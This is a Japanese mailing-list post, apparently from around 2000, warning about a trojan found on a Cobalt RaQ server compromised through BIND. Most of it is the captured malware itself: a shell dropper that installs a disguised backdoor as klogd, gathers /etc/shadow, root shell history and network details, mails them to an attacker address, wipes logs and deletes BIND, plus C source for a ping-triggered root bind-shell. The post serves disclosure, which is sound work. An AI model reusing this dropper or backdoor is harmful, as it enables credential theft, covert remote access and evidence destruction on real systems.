[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[connect24h:02045] トロイ例(転載不可)



長嶋@保健衛生大学です。

 とあるMLに トロイが仕掛けられていいたとの連絡がありました。
 その一部です。

 サーバはCobaltで BINDが落ちていたので不信に思い調べたら 不信な
  start.tar があったそうです。
 それを展開したら・・・・。
   #プログラム内容は一部不伏字にしています。


 Cobaltシリーズでは CubeとRAQがあり、
   CubeはMIPS系CPU,RAQはAMDのx86系CPUが入っているそうな。

   CobaltRAQ ではRedHat-Linuxが動いているそうで、このBINDから
   入られたそうです。

   先日実際にBIND(8.2.2)のセキュリティーホールをつつくプログラムを
   手に入れ、Solarisで試したのですが、bind8.2.2系統には入れません
   でした。
   報告ではLinuxでのBINDに接続侵入確認がされた事もありますが、
   こちらの実験では LinuxにBINDを介してコネクトするものの、不正コマンド
   は実行できませんでした。
     Vine,Slackwareだったせいでしょう。Redhat系列では多くの侵入
     確認報告があるようです。気をつけましょう。
          #VineはRedhat系列なのだが・・・。


   #ShellScriptの最後では BIND本体を・・・rm・・・・。





> -rw-r--r--   1 root     root        30720 Mar  8 15:50 start.tar
> 
> 上記を解凍した結果は

> total 23
> drwxr-xr-x   2 root     root         1024 Mar  7 04:10 .
> drwxr-xr-x   3 root     root         1024 Mar  8 21:02 ..
> -rwxr-xr-x   1 root     bin         14792 May  3  1996 icmp
> -rw-r--r--   1 root     bin          2519 May  3  1996 icmp.c
> -rwxr-xr-x   1 root     root         1148 Mar  7 05:17 start.sh
> 
> start.shのスクリプトの内容
> ----------------------------------------------------------------------------------------------------
> ------
> #!/bin/sh
> #test
> export PATH=/sbin:/usr/sbin:/bin:/usr/bin:.
> cc -o icmp icmp.c 1>>/dev/null 2>>/dev/null 3>>/dev/null
> if [ -f /sbin/klogd ]; then
> killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
> rm /sbin/klogd;cp icmp /sbin/klogd
> touch -r /bin/sh /sbin/klogd
> klogd
> echo /**************************HOST IP*****************************/ >>mail.txt
> ifconfig >>mail.txt
> echo /**************************HISTORY***************************/ >>mail.txt
> cat /root/.bash_history >>mail.txt
> echo /************************HOSTS*****************************/ >>mail.txt
> cat /etc/hosts >>mail.txt
> echo /************************PASSWD***************************/ >>mail.txt
> cat /etc/shadow >>mail.txt
> xxxxxxxxx < mail.txt
> echo >/var/log/maillog
> echo >/var/log/messages
> rm -rf ../bind
> exit 0
> fi
> killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
> rm -rf /usr/sbin/klogd;cp icmp /usr/sbin/klogd
> touch -r /bin/sh /usr/sbin/klogd
> klogd
> ifconfig >>mail.txt
> cat /root/.bash_history >>mail.txt
> cat /etc/hosts >>mail.txt
> cat /etc/shadow >>mail.txt
> mail sniffer5549@xxxxxxxx < mail.txt
> echo >/var/log/maillog
> echo >/var/log/messages
> rm -rf ../bind
> 
> 
> icmp.cはbackdoorで間違い無し。
> ----------------------------------------------------------------------------------------------------
> ------
> /*
>    ping backdoor for SunOS , test on Solaris7 x86 , but when you use it in SunOS
>    because the ps's useage is ps -ef , so change argv[0] can't work , I define the
>    sizepack and port in it, just rename it to syslogd(or other)and run
> 
>    code by jamez
>    edit by quack
> */
> 
> #include <signal.h>
> #include <netinet/in.h>
> #include <netdb.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> #include <stdio.h>
> #define SIZEPACK 70
> #define PORT     52918
> 
> void child_kill()
> {
>   wait(NULL);
>   signal(SIGCHLD, child_kill);
> }
> 
> int bind_shell()
> {
> 
>   int soc_des, soc_cli, soc_rc, soc_len, server_pid;
>   struct sockaddr_in serv_addr;
>   struct sockaddr_in client_addr;
> 
>   setuid(0);
>   setgid(0);
>   seteuid(0);
>   setegid(0);
> 
>   chdir("/");
> 
>   soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
> 
>   if (soc_des == -1)
>     exit(-1);
> 
>   bzero((char *) &serv_addr,sizeof(serv_addr));
> 
>   serv_addr.sin_family = AF_INET;
>   serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
>   serv_addr.sin_port = htons(PORT);
>   soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
> 
>   if (soc_rc != 0)
>     exit(-1);
> 
>   if (fork() != 0)
>     exit(0);
> 
>   setpgrp();
> 
>   if (fork() != 0)
>     exit(0);
> 
>   soc_rc = listen(soc_des, 5);
>   if (soc_rc != 0)
>     exit(0);
> 
>   while (1)
>     {
>       soc_len = sizeof(client_addr);
>       soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
> 
>       if (soc_cli < 0)
>         exit(0);
> 
>       cli_pid = getpid();
>       server_pid = fork();
> 
>       if (server_pid != 0)
>         {
>           dup2(soc_cli,0);
>           dup2(soc_cli,1);
>           dup2(soc_cli,2);
>           execl("/bin/sh","sh",(char *)0);
>           close(soc_cli);
>           return 1;
>         }
> 
>       close(soc_cli);
>     }
> }
> 
> int main(int argc, char *argv[])
> {
> 
>   int s, size, fromlen;
>   char pkt[4096];
> 
>   struct protoent *proto;
>   struct sockaddr_in from;
> 
>   if (fork() != 0) exit(0);
> 
>   proto = getprotobyname("icmp");
> 
>   if ((s = socket(XXXXXXXXXXXXXXXXX->p_proto)) < 0)
>     /* can't creat raw socket */
>     exit(0);
> 
>   /* waiting for packets */
>   while(1)
>     {
>       do
>         {
>           fromlen = sizeof(from);
>           if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
>             printf("ping of %i\n", size-28);
> 
>         } while (size != SIZEPACK + 28);
> 
>       /* size == SIZEPACK, let's bind the shell */
>       switch(fork())      {
>       case -1:
>         continue;
>       case 0:
>         bind_shell();
>         exit(0);
>       }
> 
>       sleep(15);
> 
>     }
> }


================================================================
   藤田保健衛生大学 総合医科学研究所 分子医学情報処理室
        長嶋 宏和   hnagashi@xxxxxxxxxxxxxxx
                     hnagashi@xxxxxxxxxxxx
     Tel.(0562)93-9382  Fax.(0562)93-7010  
     携帯電話  090-1565-6425     〒470-1192  愛知県豊明市

    #携帯電話番号がかわりました!
==================================================……‥‥・・・